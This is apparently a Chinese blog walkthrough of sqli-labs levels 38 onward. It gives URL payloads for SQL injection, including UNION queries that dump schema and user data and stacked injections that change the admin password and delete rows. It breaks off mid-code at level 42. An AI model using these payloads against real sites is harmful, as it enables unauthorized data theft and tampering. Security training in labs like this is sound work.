sqli-labs(38-53)

本文详细介绍了sqli-labs的第38至53关,主要探讨了SQL堆叠注入、闭合判断、数据库操作、盲注和延时注入等技术。通过各种注入方法,包括利用数字型闭合、字符型闭合、报错注入、延时注入等,实现了数据的查询、插入、更新和删除。同时,文章还讲解了如何在没有错误提示的情况下进行布尔盲注和延时注入,以及在多条语句执行中的堆叠注入策略。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

第38关:

这一关挺简单的,就一个闭合判断,就可爆数据,但是,这一关的目的不是查询数据,而是通过堆叠注入,对数据库执行操作

堆叠注入,就是利用sql中“;”是标志一句话结束,我们可以通过“;”将多个语句写入到sql语句中,这里的语句就不仅仅是指查询,还有增删查改

闭合判断:

/Less-38/?id=1' and 1=1 --+

sql注入:

#数据库名和用户:
/Less-38/?id=-1'%20 union all select 1,database(),session_user()--+
#数据库表名:
/Less-38/?id=-1' union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
#表的列名:
/Less-38/?id=-1' union all select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

现在我们有的库名、表名、还有列名,现在希望可以在数据库中插入一个用户,采用堆叠注入

判断插入是否成功,可以检查数据库,也可以通过查询检查

/Less-38/?id=-1' union all select 1,username,password from users where username='hello'--+

查询成功,我们的数据插入时没问题的

现在希望可以更新admin用户的密码,采用堆叠注入

/Less-38/?id=1';update users set password='hello'  where username='admin'--+

判断修改是否成功,通过联合查询检查

/Less-38/?id=8

现在希望删除hello用户,采用堆叠注入

/Less-38/?id=1';delete from users where username='hello'--+

判断是否删除

/Less-38/?id=-1' union all select 1,username,password from users where username='hello' --+
或
/Less-38/?id=-1' union all select 1,group_concat(username),3 from users--+

第39关:

判断闭合:

/Less-39/?id=1 and 1=2--+

这一关和上一关一样,同样是堆叠注入,只是闭合方式不同,采用数字型
操作方法与上面一致,先收集数据,再对数据库操作

第40关:

判断闭合:

/Less-40/index.php?id=1') and 1=2--+

这一关和上一关一样,同样是堆叠注入,只是闭合方式不同,采用数字型
操作方法与上面一致,先收集数据,再对数据库操作

第41关:

判断闭合:

/Less-41/?id=1 and 1=2--+

这一关和上一关一样,同样是堆叠注入,只是闭合方式不同,采用数字型
操作方法与上面一致,先收集数据,再对数据库操作

这一关并没有语法错误的提示,所以要自己判断语句的正确性

第42关:

关键代码:

$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值